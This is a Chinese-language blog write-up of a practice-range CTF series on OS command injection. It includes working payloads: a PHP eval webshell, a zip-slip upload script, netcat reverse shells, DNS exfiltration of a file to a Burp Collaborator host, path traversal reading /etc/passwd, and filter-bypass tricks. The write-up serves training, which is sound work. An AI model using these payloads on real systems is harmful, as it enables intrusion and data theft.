前言
这几天一边忙着ai,一边忙着别的事,今天抽空来刷一下题目,今天是6.24,刷的是好靶场的Web渗透测试工程师的OWASP Top10下的命令执行分支,前几天把SQL注入和XSS刷完了,也是刷完了才发现还是有很多没有了解的,所以才要不断的去学习,虽然ai很强大,自动化挖漏洞,但是传统手艺也不能丢弃不是,粗略看了一眼,一共42个靶场,还挺多
命令执行
命令执行是 RCE 的一种常见形式,但两者不完全等同
RCE (Remote Code Execution,远程代码执行) 是一个更大的范畴。只要攻击者能在目标机器上远程运行任意“代码/指令”,无论是系统命令、脚本代码还是二进制程序,都属于 RCE
命令执行 (Command Execution) 通常特指 操作系统命令注入,即让目标系统执行如
whoami、ls、cat /etc/passwd这样的系统命令。因为这也实现了远程执行攻击者想要的指令,所以它被归为 RCE 的一种
命令执行Demo
基础知识:最好知道一些常见的windows和linux命令,不用知道太多,够用就行,不知道或者忘记了再搜索就是,命令这东西不是死记硬背的,有那时间多敲几遍就知道了
开靶场


直接执行的命令,所以我们直接执行查看文件的命令即可,flag默认在/tmp/flag.txt目录下


静态网站怎么打
开启靶场后没发现什么东西,然后提示我们找管理员后台

扫描一下目录,发现一共admin/login.php目录,打开看一下

简单跑一下弱口令,没出,直接上爆破,没结果,回到首页

发现关于页面传了一个about,感觉是文件包含,尝试包含flag
../../../../tmp/flag.txt

返回了404,说明这的确是存在文件包含,但是方式不对,尝试双写绕过
....//....//....//....//tmp//flag.txt还是404,尝试00截断
....//....//....//....//tmp//flag.txt%00成功绕过,成功读取到flag

这就成功夺旗了
flag{2f7e81e7b8344c3ab147b611735b9be4}当然命令执行的题目肯定不是这样去解,尝试读取一下密码文件
....//....//....//....//etc//passwd%00

靶场出问题了,直接无法访问了,重新开了一遍,现在可以看到密码是
haobachang666:xmcve2018

成功进入后台,查看一下各个功能点

找到一共插件上传的功能点,并且要求是zip格式,我们写一个webshell,然后压缩成zip上传看看

是非常正常的eval代码
<?php eval($_POST['x']); ?>这都检测,不过之前看系统设置里面有个防火墙功能是开启的,我们直接给它关闭然后再上传,发现还是不行,回头看了一下wp,发现用的是python写的代码
import zipfile php = '''<?php echo file_get_contents("/tmp/flag.txt");?>''' with zipfile.ZipFile("1.zip", "w", zipfile.ZIP_DEFLATED) as z: z.writestr("../get_flag.php", php)这样创建的文件名就是
../get_flag.php并且写入1.zip中,然后你直接用资源管理器打开会发现啥都没有,用7zip解压才会出现get_flag.php,还是很有意思的,而且解压出来就是在当前目录下,而不是1这个文件夹里面,因为windows无法解析../这样的文件名,你正常新建一个文件,修改成这样的特殊名字,会提示你不支持特殊字符,所以你才无法直接看到至于为什么这样能绕过恶意代码的检测,实测下来并不是方法的问题,而是eval被过滤了,我正常写入一个上面的读取代码的php脚本,然后压缩上传

所以他(wp作者)才会用python去创建
../get_flag.php的文件名,不过他没直接写,差点误导人了,还以为这样可以绕waf,原来只是他的php代码里面没有eval,而他写这个python的目的也不是为了绕过waf,而是为了绕过目录权限的限制,然后上传用python生成的压缩包

直接访问


mv命令执行
既然是mv命令,那就直接将flag移动到web目录下,然后直接访问即可
mv /tmp/flag.txt /var/www/html

/var/www/html是linux默认的web目录,当然实际情况可能有时候会不同

cp命令执行
这些命令具体什么意思,什么用法我就不多说了,开靶场就能直接看到
cp /tmp/flag.txt /var/www/html


uniq命令执行
uniq 命令用于去除文本中的重复行,只保留唯一的内容。基本用法为
uniq filename,通常与 sort 命令结合使用以确保相邻重复行能被识别和移除。 在安全测试中,uniq 可能被用作替代 cat、head 等命令,帮助攻击者整理和查看文件中的唯一信息这个我也用的少,学到了
uniq /tmp/flag.txt


sort命令执行
sort 命令用于对文本内容进行排序,使输出内容按照特定规则有序排列。基本用法为
sort filename,可以将文件内容按行排序输出。 在安全测试中,如果 cat、head 等命令被过滤,攻击者可能使用 sort 命令来读取并间接查看文件内容sort /tmp/flag.txt


nl命令执行
nl 命令用于为文件中的每一行加上行号,输出时更加清晰有序。基本用法为
nl filename,可以看到每一行前面都有编号。 在安全测试中,nl 一些过滤只限制 cat、head 等命令的场景下,攻击者可能绕过过滤用 nl 来查看敏感文件内容nl /tmp/flag.txt


less命令执行
less 是一个高级文件分页查看命令,与 more 类似,但功能更强大。使用
less /etc/passwd可以高效阅读大文件,支持向上和向下翻页(用上下箭头或 PageUp/PageDown),按 q 退出。less 支持内容搜索(使用 / 输入关键词)和更灵活的滚动方式。 在安全实践中,攻击者有时会通过 less 去查看敏感文件,因为它比 more 更易于浏览和查找关键信息,有些过滤措施可能只防住了 cat or more 指令,却忽略了 lessless /tmp/flag.txt


more命令执行
more 是另外一个常用的文件查看命令,可以分页浏览内容。当文件内容太长时,使用
more /etc/passwd可以一页一页地查看,非常适合阅读大文件。按下空格可以翻到下一页,按下 q 可以退出查看。 在安全实践中,tail 常用来快速检查日志或文件最新内容,而 more 则常用于较长文件的内容查看和浏览。攻击者有时会通过 tail 或 more 来读取敏感文件,以绕过某些读取限制more /tmp/flag.txt

tail命令执行
tail 是 Linux 下用于查看文件末尾内容的命令,默认显示最后 10 行。比如:
tail /etc/passwd会输出文件的最后 10 行。 在安全实践中,tail 可以用来快速检查日志的最新内容,或者读取大文件的末端。攻击者有时会用 tail 来获取敏感文件的结尾信息,以绕过对部分内容的读取限制tail /tmp/flag.txt

head命令执行
和tail相反
head 是 Linux 下用于查看文件开头内容的命令,默认显示前 10 行。比如:
head /etc/passwd会输出文件的前 10 行。 在安全实践中,head 可以用来快速检查大文件的一部分,或者绕过对某些命令(如 cat)的限制。攻击者有时会用 head 来读取敏感文件的开头内容head /tmp/flag.txt

tac命令执行
tac 是 Linux 下的一个有趣命令。它和 cat 类似,但会将文件内容的每一行倒序输出,最后一行会显示在第一行。比如:
tac /tmp/flag.txt有时候如果服务不允许 cat 命令,攻击者会尝试用 tac,因为 tac 实际上也可以读取文件内容,常用于绕过对 cat 命令的限制tac /tmp/flag.txt

cat命令执行
cat 是 Linux 下一个常用的命令,用于查看文件内容
cat /tmp/flag.txt

命令执行漏洞体验
打开靶场,是ping命令

直接用分号试试
x;cat /tmp/flag.txt


为什么用x,因为有很多靶场的ping会ping 4下,而直接用x,解析不了直接报错,从而不用等待
命令执行漏洞,我过滤了;符号,你还有其他的办法吗
命令执行的方式有很多,过滤了;还有管道符之类的
x|cat /tmp/flag.txt


运维系统命令执行
开靶场访问

就一个ping能用,其他全在开发中
x;cat /tmp/flag.txt


dd命令执行
dd 命令用于按块读取和写入数据,是复制文件、备份分区以及制作镜像文件的常用工具。 例如,
dd if=input.txt of=output.txt bs=1M会以 1MB 大小的块,从input.txt读取数据并写入到output.txt。 dd 功能强大但也容易误操作,请使用时务必小心,避免覆盖重要文件或分区dd if=/tmp/flag.txt of=/var/www/html/1.txt


通配符*
在命令行工具中,通配符 * 用于匹配任意长度的任意字符。例如,
ls *.txt可以匹配所有以.txt结尾的文件,比如a.txt、test.txt、example.txt等。 通配符 * 是文件查找和批量操作中最常用的匹配符,非常适合灵活筛选目标文件

cat /tmp/flag.txt发现有过滤,尝试了一下其他的命令,也不行,估计是过滤了关键词,使用反斜杠绕过
c\at /tmp/flag.txt

通配符?
在命令行工具中,通配符 ? 用于匹配任意单个字符。例如,
ls f?o.txt可以匹配foo.txt、fao.txt、f1o.txt等以 “f” 开头、“o.txt” 结尾,且中间只有一个字符的文件。 通配符 ? 常和 *(匹配任意长度的任意字符)一起在文件查找、批量操作中使用,非常适合灵活筛选目标文件c\at /tmp/flag.txt还是进行了过滤,反斜杠绕过

ncat命令执行
ncat 是 nc(netcat)的进阶版本,由 Nmap 项目开发,常用于端口扫描、网络连接测试、端口监听和数据传输等操作。 常见用法包括:
ncat 主机名 端口号(连接远程端口),ncat -l 端口号(监听本地端口),也可与重定向结合实现文件传输等功能。 在安全测试和运维场景中,ncat 常被用于反弹 shell、文件传送、简单聊天或后门通信等,被称为“网络瑞士军刀”的现代替代品靶机:ncat -nv ip 端口 -e /bin/bash vps:nc -lvnp 端口


nc命令执行
nc(netcat)是一款功能强大的网络工具,常用于在命令行下进行端口扫描、网络连接测试、端口监听、数据传输等操作。 常见用法包括:
nc 主机名 端口号(连接远程端口),nc -l -p 端口号(监听本地端口),以及配合重定向进行文件传输等。 在安全测试与运维中,nc 常被用于反弹 shell、传送文件、简单的聊天或后门通信等多种场景,被誉为“网络瑞士军刀”nc vps 端口 -e /bin/bash nc -lvnp 端口


curl命令执行
curl 命令用于在命令行下与服务器进行数据传输。它支持 HTTP、HTTPS、FTP 等多种协议,常见用法包括
curl URL(获取页面内容),以及curl -o 保存路径 URL(将下载内容保存为指定文件)。 在日常运维和渗透测试中,curl 常用于接口测试、抓取数据、下载文件、模拟请求等,是网络调试和数据交互的常用工具之一curl http://baidu.com;c\at /tmp/flag.txt


wget命令执行
wget 命令用于从网络下载文件。它可以通过 HTTP、HTTPS 以及 FTP 等协议获取资源,常见用法包括
wget URL(下载指定链接的文件),以及wget -O 保存路径 URL(将文件保存为指定名称)。 在日常运维和渗透测试中,wget 常用于拉取工具、备份文件、下载公开资产等操作,是网络资源抓取和文件搬运的常用工具之一wget http://baidu.com;c\at /tmp/flag.txt

find命令执行
find 命令用于在目录层次结构中查找文件和目录。它支持按文件名、类型、修改时间、权限等多种条件筛选。基本用法如
find 路径 -name 文件名(在指定路径中查找匹配的文件)。 在运维和安全中,find 可以用来检索特定文件、批量操作文件、查找可疑文件或目录等,是日常管理和渗透测试常用的文件查找工具find /tmp -name flag.txt;c\at /tmp/flag.txt

grep命令执行
grep 命令用于在文本中查找符合特定模式的字符串。它是 Linux 下最常用的文本搜索工具,基本用法如
grep 关键词 文件名(在文件中查找包含关键词的行)。 在安全测试和日志分析中,grep 能快速定位敏感信息、异常行为、特定日志记录等内容,对于排查问题和数据挖掘非常高效grep flag /tmp/flag.txt

base64命令执行
base64 命令用于对数据进行 Base64 编码或解码。它常用于将二进制数据以 ASCII 字符形式安全传输,例如用于邮件、URL、或在网络请求中避免特殊字符的问题。基本用法如
base64 filename(对文件内容做 Base64 编码)或base64 -d filename(对 Base64 格式数据解码)。 在安全测试中,base64 可用于对敏感信息编码隐藏,或对可疑编码内容解码分析,有助于探查隐藏数据与数据传输方式base64 /tmp/flag.txt

base64在线解码网站解码一下就行

base32命令执行
base32 命令用于对数据进行 Base32 编码或解码。它常用于需要对二进制数据进行可打印字符编码传输时的场景,例如在邮件或 URL 传输中避免特殊字符问题。基本用法如
base32 filename(对文件内容做 Base32 编码)或base32 -d filename(对 Base32 格式数据解码)。 在安全测试中,base32 可用于对敏感信息进行编码隐藏,或者对可疑编码内容进行解码分析,有助于探查隐藏数据或数据传输方式base32 /tmp/flag.txt

还是一样,在线网站解码一下即可

xxd命令执行
xxd 命令用于以十六进制和 ASCII 格式显示文件内容,常用于分析二进制文件和调试。基本用法为
xxd filename,还可以通过参数自定义输出格式,如-c(每行字节数)、-p(纯十六进制输出)等。 在安全测试中,xxd 可以帮助读取和分析敏感文件的原始数据,便于发现隐藏信息或规避简单的读取限制xxd /tmp/flag.txt

三段拼到一起即可

hexdump命令执行
hexdump 命令用于以十六进制和 ASCII 格式显示文件的内容,常见于分析二进制文件和调试数据。基本用法为
hexdump filename,常用参数如-C(以十六进制和 ASCII 的组合视图输出),-n(限制读取字节数)等。 在安全测试中,hexdump 可以协助读取和分析敏感文件的原始数据,便于揭示隐藏的信息或理解二进制数据结构hexdump /tmp/flag.txt结果
0000000 6c66 6761 387b 3838 6236 3464 3364 3839 0000010 3437 3635 3866 6630 3466 6136 3537 3239 0000020 3635 3434 7d34 000a 0000027前面的0000xx不是,后面每4个一组的才是数据,然后交换字节对(因为小端序低字节在前)
666c 6167 7b38 3838 3662 6434 6433 3938 3734 3536 6638 3066 6634 3661 3735 3932 3536 3434 347d 0a00然后就可以使用在线hex解码工具解码了

如果你嫌手动交换字节位可以直接丢给ai,让他交换或者直接解码

od命令执行
od 命令用于以多种格式(如八进制、十六进制、十进制或 ASCII 字符)显示文件内容的二进制数据。基本用法为
od filename,还可以使用-c、-x等参数自定义输出格式。 在安全测试中,od 可用于读取敏感文件的原始内容,以绕过一些文本读取命令的限制,或者辅助分析文件结构和内容od /tmp/flag.txt

这个是8进制数据,我就不再去麻烦了,知道意思就行,直接读取原数据
od /tmp/flag.txt;c\at /tmp/flag.txt

strings命令执行
strings 命令用于从二进制文件中提取可打印的字符串。它常用于获取文件中的文本内容,尤其在逆向分析和排查可疑文件时非常有用。基本用法如
strings filename(显示文件中的可打印字符串)。 在安全测试和取证分析中,strings 可帮助发现隐藏的配置信息、密码、注释等敏感数据,辅助分析恶意软件或未知二进制内容strings /tmp/flag.txt

你的空格被我拦截了
空格过滤直接使用
${IFS}x|cat${IFS}/tmp/flag.txt


看我拦截掉你的关键字
看看具体拦截的是什么
x|c\a\t /tmp/flag.txt

拦截了cat我想到了,没想到at也拦截,只能多加一个反斜杠了

命令执行漏洞盲打
这里有服务器直接用服务器,没服务器可以直接使用burpsuite自带的Collaborator
地址:
6x4pywvcu3q9237qfcntbps0argi48sx.oastify.compayload:
x | nslookup $(cat /tmp/flag.txt | base64 -w0 | head -c 50).6x4pywvcu3q9237qfcntbps0argi48sx.oastify.com

因为这题之前有个朋友来请教过我,所以我知道没有过滤空格,base64解码一下前面的数据,结果发现太长不完整,又重新获取了一遍
x | nslookup $(cat /tmp/flag.txt | base64 -w0 | head -c 100).6x4pywvcu3q9237qfcntbps0argi48sx.oastify.com


解释一下这个命令
x | nslookup $(cat /tmp/flag.txt | base64 -w0 | head -c 100).6x4pywvcu3q9237qfcntbps0argi48sx.oastify.com x -> 无法解析 不进行ping操作 nslookup 查询DNS解析结果 $(cat /tmp/flag.txt | base64 -w0 | head -c 100) 获取flag、编码、读取前100个字符 6x4pywvcu3q9237qfcntbps0argi48sx.oastify.com burpsuite的Collaborator不过dns的单个标签长度不得大于63个字符,总域名长度不得大于253个字符,所以上面
head -c 100最多只能取到63个
关键字,单引号,双引号都不让你用了
关键词用反斜杠,单引号和双引号好像也没用上吧,嘻嘻
x|c\a\t /tmp/flag.txt直接过

只允许你输入7个字符,你还能执行你想要的命令吗
只允许7个字符啊
第一次碰上,学习学习
1.linux中的重定向符
>1 向文件1中覆盖写入 >2 向文件2中覆盖写入 >>3 向文件3中追加写入 可以在前面执行任意命令,命令的结果会被写入文件 ls>4 cat 4 输出 1 2 3 实际执行 ubuntu@VM-0-17-ubuntu:~/test$ ls ubuntu@VM-0-17-ubuntu:~/test$ >1 ubuntu@VM-0-17-ubuntu:~/test$ >2 ubuntu@VM-0-17-ubuntu:~/test$ >>3 ubuntu@VM-0-17-ubuntu:~/test$ ls>4 ubuntu@VM-0-17-ubuntu:~/test$ cat 4 1 2 3 4 ubuntu@VM-0-17-ubuntu:~/test$ ls 1 2 3 42.linux中的sh
sh 文件名 -> 将文件内容当作命令执行 echo 'cat 2.txt' > 1.txt echo 'yyds' > 2.txt sh 1.txt 实际执行 ubuntu@VM-0-17-ubuntu:~/test$ echo 'cat 2.txt' > 1.txt ubuntu@VM-0-17-ubuntu:~/test$ echo 'yyds' > 2.txt ubuntu@VM-0-17-ubuntu:~/test$ sh 1.txt yyds3.ls [选项] [目录名]
linux中ls默认按照字母顺序排序 -t参数以文件修改时间排序,新创建的文件在前面 -h参数以易读的方式显示文件或目录大小,如 1KB、234MB、2GB 等 -h参数主要的作用是调整-t参数位置4.星号(*)
linux中*可作为通配符使用 在直接输入*后,linux会将该目录下第一个文件名作为命令 剩下的的文件名当作参数5.反斜杠(\)
linux中,执行命令时,可以在没有写完的命令后面加\ 实现将一条命令多行化,以行末没有\为终止结合
>d\ \>b >4\ -\ >se6\ >ba\ >w==\|\ >HQ+Y\ >Zy50e\ >vZmxh\ >90bXA\ >2F0IC\ >o\ Y\ >ech\ ls -t>a sh a sh b cat c 使用重定向创建文件 ls -t>a 将上面的文件名按创建时间排序写入 也就是 ech\o\ Y\2F0IC\90bXA\vZmxh\Zy50e\HQ+Y\w==\|\ba\se6\4\ -\d\ \>b 去掉\易读 echo Y2F0IC90bXAvZmxhZy50eHQ+Yw==|base64 -d >b 将上面这个base64的数据解码后写入文件b 此时文件b的内容为:cat /tmp/flag.txt>c sh b的结果就是将flag写入到c文件 最后读取c文件即可 cat c


哦豁,你不能输入字母了
那就是说只能输入数字和特殊字符了,在 Bash shell 中,$’…’ 是一种特殊的字符串表示形式,主要作用是解析字符串中的转义序列(如八进制、十六进制、特殊字符等),将其转换为对应的实际字符
所以我们可以使用它来构造命令,先用在线字符串转8进制网站获取正常数据的对应八进制
cat \143\141\164 /tmp/flag.txt \057\164\155\160\057\146\154\141\147\056\164\170\164完整payload
$'\143\141\164' $'\057\164\155\160\057\146\154\141\147\056\164\170\164'

数字0的奇迹
开靶场看看

这题我是看着wp解的,因为我也搞不懂什么意思,看了wp才懂
应用了source 命令和‘|’的结合,
.是source的简写,所以执行以下命令. /tmp/flag.txt|0实际上是读取并执行这个文件里的内容,不管它是不是命令,都会将它的输出传入右边的0,但是右边的0不是个命令,所以报错,但是左边的能够正常执行,然后使用?来匹配
. /???/????.???|0


只允许你输入5个字符,你还能执行你想要的命令吗
这一题和前面唯一不同的就是ls -t>a这个命令,因为这个命令长度不管怎么想都超过了5,如果要想将结果写入a,就必须去掉-t,那么就只能根据ls的排序规则来创建文件,ls命令排序的规则是空格和符号最前,数字其次,字母最后
我也是直接看的wp
>l\\ >s\\ >\ \\ >\>0 >-t\\ ls>a ls>>a >hp >p\\ >1.\\ >\>\\ >-d\\ >\ \\ >64\\ >se\\ >ba\\ >\|\\ >k7\\ >XS\\ >sx\\ >VF\\ >dF\\ >X0\\ >gk\\ >bC\\ >Zh\\ >ZX\\ >Ag\\ >aH\\ >9w\\ >PD\\ >S}\\ >IF\\ >{\\ >\$\\ >ho\\ >ec\\ sh a sh 0前一段,生成的文件名
\ -t\ >0 l\ s\写入后a后没有用,但是再写入一遍,就可以让前一次写入的ls和后面的拼接,从而达成如下效果
ls -t >0然后就是正常生成倒着的数据,执行a就会将数据写入0,然后执行0就会执行base64数据的命令
echo${IFS}PD9waHAgZXZhbCgkX0dFVFsxXSk7|base64 -d>1.php <?php eval($_GET[1]);然后访问1.php就可以执行命令读取文件了
1=system('cat /tmp/flag.txt')原理还是很好理解的,但是复现巨麻烦,400多个人看过的wp,只有不到30个人通关,纯折磨,用burpsuite会因为顺序不对复现失败,手动复现,我试了三遍,第一遍复现到最后几个直接靶场崩了,第二遍复现了但是文件创建失败,第三遍成功复现

无字母无数字
无字母无数字,那就只能是字符喽,突然灵光一闪,让我想到一个payload,就是前面的数字0的奇迹,反正只需要让后面报错,管他用什么,只要不是个命令就行,结果还真行
. /???/????.???|=


然后看了一下wp,发现这题甚至不需要后面的管道符和第二个命令,可以直接获取
. /???/????.???
无字母无数字2
payload上面就是
. /???/????.???


只允许你输入4个字符,你还能执行你想要的命令吗
这一题前面有个7字符和5字符的,理解了之后再来看这个
wp:
http://hbc.haobachang.com/sub?id=1025原理:
1、最重要的思路依旧和前面7字符和5字符的思路一样,但是四字符限制,这里利用*,rev,dir,等符号,将内容反序写入,然后在翻转过来;
2.依旧是想办法先写入
ls -t>命令;3.能够写入后,在vps上写入一个恶意脚本;
4.然后在被攻击者的机器上执行;
5.还有个思路就是和7字符5字符一样,将命令写入文件中去,然后在执行。
payload自己看着wp改,只需要改为自己的vps的地址即可

吐槽
就5字符和4字符限制的两个题目比较恶心外其他的都还是比较简单的,一共42题,耗时5个半小时










